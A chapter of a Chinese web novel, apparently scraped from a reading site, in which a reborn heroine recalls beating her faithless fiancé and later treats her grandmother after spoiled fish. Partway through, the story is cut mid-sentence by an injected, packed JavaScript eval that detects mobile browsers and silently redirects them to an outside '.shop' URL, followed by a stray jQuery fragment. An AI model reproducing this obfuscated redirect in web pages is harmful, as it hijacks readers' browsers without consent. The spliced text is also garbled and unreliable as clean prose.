文趣网 > 其他小说 > “毒医仙”生存指南 > 10. 腹泻
    前世的记忆呼啸而来,铺天盖地。叶时雨嘴里还嚼着那片鱼肉,满口鲜香刹那间化作苦涩。她飞快地咽下去,却被茱萸呛了嗓子,忍不住剧烈咳嗽起来,眼角都沁出了泪。

    陆瑄见状,和煦的笑容敛了几分,伸手想替她拍背。指尖还没触到,叶时雨已经抬手挡开,哑着嗓子说:“无事,不必麻烦。”

    待她平复下来,陆瑄的目光这才落在那碗鱼脍上,缓缓开口:“今日镇上有几户人家食鱼后腹泻,爹说是因为鱼不新鲜。你这鱼,是码头买的,还是自家捉的?若是码头买的,最好先别吃。”

    他瞥了眼她嘴角残留的腌汁,又微微一笑:“若是已经吃过,胃脘不适,记得来我家拿药。”

    叶时雨看着他脸上不似作伪的关切,心里一瞬涌上太多东西。前世这个人就是用这样一副真心实意的面孔骗过了她,骗过了所有人。

    她闭了闭眼,再睁开时,眼底一片平静:“多谢提醒。”

    说罢,径直走进了自家小院。她感觉得出陆瑄的目光一直落在自己身上,但她没有回头。

    院里,豆黄和麦黄在檐下打架,毛发飞舞,看着凶残,实则毫无力道。叶时雨怔怔望着它们,思绪飞到了前世。

    承光十九年,南蛮平定,云州都督府为了庆功,城内开放三日不宵禁。街上人潮涌动,灯火如昼。顾知庭紧紧牵着她的手,穿过熙攘人群,带她去河边放花灯。

    那时她被卖给顾知庭不过半年,怨气未平,一路对他没什么好脸色。不情不愿跟着他来到河边,却猛地怔住。

    岸边栽着几株垂柳,陆瑄站在其中一棵树下,仍是一副温润如玉的模样。他身边立着个女子,穿着鹅黄衫子,眸光含水,神色温柔。那是陆瑄夫子的女儿方语妍,逃荒路上曾颇受叶时雨照拂。

    顾知庭偏过头,在她耳侧轻声说:“他和那位方姑娘早已有私情,先前碍着陆大夫在,没敢提悔婚。陆大夫去世后,他没了顾忌,本想直接去你家退婚,却赶上兵乱,这才耽搁了。”

    见她脸色难看,他又补了一句:“这种人不值得你留恋,你……”

    叶时雨打断他:“他卖我赚了多少钱?”

    顾知庭顿了下,声音更低了:“一个集贤书院本院的名额。”

    集贤书院是大乾最有名的书院,本院在皋都,四方学子挤破了头也想进去。

    叶时雨蓦地甩开顾知庭的手,大步朝河边走去,几步就到了陆瑄面前,“啪”一巴掌抽下去,陆瑄手里的花灯脱了手,歪歪斜斜掉进河里,烛火晃了晃,很快熄灭。

    “泼妇!”陆瑄捂着脸,声音里满是惊怒。

    叶时雨冷冷看着他。

    陆瑄胸口剧烈起伏着,瞥见周围人群投来探究的目光,强作镇定:“你失了清白身,与别的男子有了首尾,我虽不会鄙薄你,但你我之间的婚约无法履行。自此以后,不必再见……”

    “啪!”又是一耳光。这回力道没收住,指甲在他颧骨上划了一道浅浅的血痕。

    陆瑄整个人往后踉跄了半步,后腰撞上了柳树,疼得他发出轻嘶声。

    “这两巴掌,是替我自己打的。你卖妻求荣,狼心狗肺。”叶时雨逼近,又甩了两巴掌,“这两下,是替我爹打的。当年他为了救你爹丢了性命,你个白眼狼竟转头就卖了自家恩人的女儿。”

    周围人忍不住窃窃私语,纷纷朝陆瑄投去异样的目光。

    他一向温和无害的面容终于裂开,忽地凑近叶时雨,咬牙切齿低声道:“我爹是被你爹所救,可凭什么要我拿一辈子来偿恩?我从头到尾都不愿意!”

    叶时雨冷哼:“那你为何不直接跟你爹说?你个懦夫,根本就是没勇气反抗陆大夫,还将自己装成个受害者。无能,懦弱,自私!”

    “不要比我撕破脸。”陆瑄脸上的狰狞一闪而过,瞥见顾知庭正拨开人群往这边来,便挺直脊背,声音恢复了平日里的和煦:“你既然有了别人,就别再来找我。”

    叶时雨一脚踹向他胯间。

    陆瑄面色骤变,整个人虾米似的弓下去,嗓子里溢出一声变了调的痛呼。

    方语妍忙扑过去扶住他,面上是掩不住的担忧:“德璋,你如何了?”

    陆瑄面目扭曲,指着叶时雨骂:“你这个恶女!我当初就不该把你卖给顾少将军,就该把你卖进最下等的窑子……”

    叶时雨一把揪住他衣领,连扇了好几巴掌。她打小跟着父兄习武,又常进山,手劲大,体力足。陆瑄这种肩不能挑手不能提的文弱书生,压根没有还手的余地。

    直到把人打得鼻青脸肿,叶时雨才收手,一脚将人踹翻在地,冷声道:“你夫子给你取字德璋,真是瞎了眼。你该叫缺德!”

    目睹此景,顾知庭与一干亲兵噤若寒蝉,谁也没敢上前。

    “喵!”

    麦黄的尾巴扫过叶时雨的手背,把她从回忆里拽了出来。

    “满满,吃饭了。”叶晨风在喊。

    桌上已经摆好碗筷,一碟炒蛋,一盘野菜,还有一碗鱼脍。叶晨风坐在桌边,手里攥着双竹筷,正等着她。

    叶时雨在他对面坐下,端起碗扒了一口豆饭,忽然问:“你还记不记得那天在山谷,我问你如何看待陆瑄?”

    叶晨风夹菜的手顿了顿,看她一眼,含糊地“嗯”了声。

    那天叶晨风说的是“那是你的未婚夫,对你好就行。”如今回想,那话里分明有着未竟之意。

    叶时雨问:“你不喜欢他?”

    叶晨风不吭声,埋头扒饭。

    “哥!”

    叶晨风扒饭的速度更快了。

    “哥——”叶时雨拖长调子,“你要是不说,我就去爹娘坟头哭,说你欺负我。”

    “我怎么欺负你了?”

    叶时雨理直气壮:“你觉得我未婚夫不好,配不上我,却不告诉我。以后我要是嫁过去受了委屈,你就不会后悔?”

    叶晨风嘴里的饭呛了一下,咳了好一阵才缓过来,拿袖子擦了擦嘴,面上露出几分无可奈何的神色。

    “说啊,为什么不喜欢他?”

    "……也没什么。"他声音闷闷的,"就是觉着,那人有点假。"

    叶时雨静静看着他。

    叶晨风的筷子在碗沿上磕了磕,皱起眉头想了半天:“也说不上什么具体的事,就觉得他表面看着极好,实际心里藏着许多算计。”

    他顿了顿,又补了一句:“这些都只是我的直觉,没凭没据的。跟大伯他们提过,大伯说我是舍不得你嫁人,才瞧人家不顺眼,这是大舅子的通病。”

    叶时雨盯着他看了好一会儿,确定他说的都是实话,这才端起碗,夹了一块炒蛋放进嘴里。

    见她不再追问,叶晨风松了口气,伸筷去夹鱼脍。叶时雨忽然“呀”了一声,猛地抬头:“哥,先别吃。”

    叶晨风嘴里含着那块鱼肉,被她喊得一噎,鼓着腮帮子瞪她。

    “陆瑄方才说镇上几户人家吃鱼闹了肚子。”叶时雨已经站了起来:“我去大伯家一趟。”

    她转身就往外跑,豆黄从院角蹿出来,跟着她一道冲出了院门。

    叶晨风一个人坐在饭桌

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17766743|209725||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    旁,嘴里的鱼肉咽也不是吐也不是,含了半天,到底还是吐了出来,满脸无奈地望着妹妹远去的背影。

    叶时雨跑进叶昌顺家时,正听见金红花在堂屋里哼哼唧唧说着什么,声音含含糊糊的,混着叶千柔的轻声细雨的安抚。豆黄先她一步跑进屋里,疯狂朝着屋里几人摇尾巴。

    “奶,您怎么了?”叶时雨三两步跨进堂屋,看向竹榻上的老人。

    金红花是叶昌顺和叶昌盛的母亲,年逾古稀,头发全白了,平时身子骨硬朗,说话中气十足,这会儿却半阖着眼,脸色发白,一只手搭在肚腹上。

    她耳背,得凑近耳朵才能听见人说话,对叶时雨的问话自然没反应。

    叶千柔在一旁答:“奶说她想吐。”

    叶时雨心里“咯噔”一声,忙问:“是不是吃过鱼脍后才不舒服的?”

    苗秀莲端了碗野坝子汤过来,扬声道:“娘,来喝药。”

    野坝子是本地常见的野草,田间地头到处都是,但于肠胃一症却是救星,凡因饮食不洁导致腹痛腹胀、消化不良甚至痢疾,本地人都挖它来熬汤。

    叶时雨将陆瑄的话跟苗秀莲说了,苗秀莲脸色变了:“你奶说嘴里淡,想吃口鲜的,你大伯就去码头买了条鱼。这才吃完小半个时辰,她就说恶心想吐。”

    “我看看。”叶时雨手指搭上金红花的手腕,垂眼安静号了一会儿脉。脉象有些浮滑,中焦有滞,肠胃里头确实不太平,但不算严重。

    她收回手:“还好,喝野坝子汤就行。”

    一抬眼,屋里另外三人齐齐瞪圆了眼看她。

    “怎么了?”叶时雨摸了摸脸,“我脸上有东西?”

    苗秀莲最先回过神来,语气里带着惊疑:“陆大夫连号脉都教你了?”

    叶时雨一愣,这是她前世在将军府别院学的。

    陆安平对她虽好,教她识字辨药,但于医术一道只肯教些皮毛。他骨子里认定,女子会些粗浅医术,能替家里人看个头疼脑热的小毛病就够了,精深的,还是得男子来学。

    这话不能明说。叶时雨只含糊带过:“没有,我跟着医书自己学的。”

    又转移话头:“家里其他人吃过鱼脍后,有哪里不舒服吗?”

    “暂时没有。”苗秀莲拍了拍胸口,后怕道,“幸好你大嫂闻着鱼肉腥,一口没吃。她还在奶孩子呢,万一生病,那可真是……唉!”

    叶时雨叮嘱苗秀莲,凡吃过鱼脍的人,各喝一碗野坝子汤预防。她自己也没落下,灌了一碗。

    金红花喝了药,精神头回来些,攥着叶时雨的手,凑近了看她,浑浊的眼里闪着泪光:“满满,你和琅华真像。”

    苏琅华是叶时雨的娘,也会些粗浅医术。她不是本地人,从北方逃难过来,遭遇山匪躲进深山,受伤昏迷后被叶昌文捡了回家。后来伤好了,人没走。她粗通医术,叶家上下有个头疼脑热,都是她上手。

    听叶晨风说,娘是个极温柔的女人,死前最放心不下的便是年幼的女儿。可叶时雨对她印象实在模糊得很。

    刚穿过来时,自己不过是个呱呱坠地的婴儿,灵魂和身体没契合好,总是陷入长时间昏睡中,以至于家里人一直以为她身子骨弱,小心翼翼养着。等她终于适应了这具身体,苏琅华就过世了。

    金红花拍拍她的手背,眼里带着欣慰:“你娘要是知道你如今出落得这样好,不知该有多高兴。”

    叶时雨垂下眼,没接话。

    也就是叶家人觉得她好罢了。出去随便一打听,叶家恶女的名声可是响遍十里八村的。